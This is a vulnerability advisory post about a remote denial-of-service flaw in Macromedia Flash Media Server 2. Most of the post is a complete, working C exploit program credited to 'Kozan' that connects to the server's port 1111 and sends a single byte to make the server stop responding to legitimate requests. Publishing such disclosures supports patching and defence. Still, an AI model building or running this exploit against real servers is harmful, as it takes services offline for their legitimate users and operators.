[EXPL] Macromedia Flash Media Server DoS (Exploit, Single Character)

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  Macromedia Flash Media Server DoS (Exploit, Single Character)
------------------------------------------------------------------------


SUMMARY

" <http://www.macromedia.com/software/flashmediaserver/> Macromedia Flash 
Media Server 2 software offers the unique combination of traditional 
streaming media capabilities and a flexible development environment for 
creating and delivering innovative, interactive media applications to the 
broadest possible audience."

A vulnerability in Macromedia Flash Media Server allows remote attackers 
to cause the server to no longer respond to legitimate requests.

DETAILS

Vulnerable Systems:
 * Macromedia Flash Media Server 2

Exploit:
/*********************************

Macromedia Flash Media Server 2 Remote D.o.S Exploit by Kozan

Application: Macromedia Flash Media Server
http://www.macromedia.com/software/flashmediaserver/
Vendor: Macromedia

Discovered by:  dr_insane
Exploit Coded by: Kozan
Credits to ATmaCA,  dr_insane
Web: www.spyinstructors.com
Mail: kozan@spyinstructors.com

*********************************/

#include <winsock2.h>
#include <stdio.h>
#include <windows.h>

#pragma comment(lib,"ws2_32.lib")

int nDefaultPort = 1111;

char SingleDoSChar[] = "\x41";

int main(int argc, char *argv[])
{
       fprintf(stdout, "\n\nMacromedia Flash Media Server 2 Remote D.o.S 
Exploit by Kozan\n");
       fprintf(stdout, "Bug Discovered by:  dr_insane\n");
       fprintf(stdout, "Exploit Coded by: Kozan\n");
       fprintf(stdout, "Credits to ATmaCA,  dr_insane\n");
       fprintf(stdout, "www.spyinstructors.com - 
kozan@spyinstructors.com\n\n");

       if(argc<2)
       {
               fprintf(stderr, "Usage: %s [Target IP]\n\n", argv[0]);
               return -1;
       }
       WSADATA wsaData;
       SOCKET sock;

       if( WSAStartup(0x0101,&wsaData) < 0 )
       {
               fprintf(stderr, "Winsock error!\n");
               return -1;
       }

       sock = socket(AF_INET,SOCK_STREAM,0);
       if( sock == -1 )
       {
               fprintf(stderr, "Socket error!\n");
               return -1;
       }

       struct sockaddr_in addr;

       addr.sin_family = AF_INET;
       addr.sin_port = htons(nDefaultPort);
       addr.sin_addr.s_addr = inet_addr(argv[1]);
       memset(&(addr.sin_zero), '\0', 8);

       fprintf(stdout, "Please wait while connecting to server...\n");

       if( connect( sock, (struct sockaddr*)&addr, sizeof(struct sockaddr) 
) == -1 )
       {
               fprintf(stderr, "Connection failed!\n");
               closesocket(sock);
               return -1;
       }

       fprintf(stdout, "Please wait while sending single DoS char...\n");

       if( send(sock,SingleDoSChar,lstrlen(SingleDoSChar),0) == -1 )
       {
               fprintf(stderr, "DoS char could not sent!\n");
               closesocket(sock);
               return -1;
       }

       fprintf(stdout, "Operation completed...\n");
       closesocket(sock);
       WSACleanup();

       return 0;
}


ADDITIONAL INFORMATION

The information has been provided by  <mailto:kozan@spyinstructors.com> 
Kozan.



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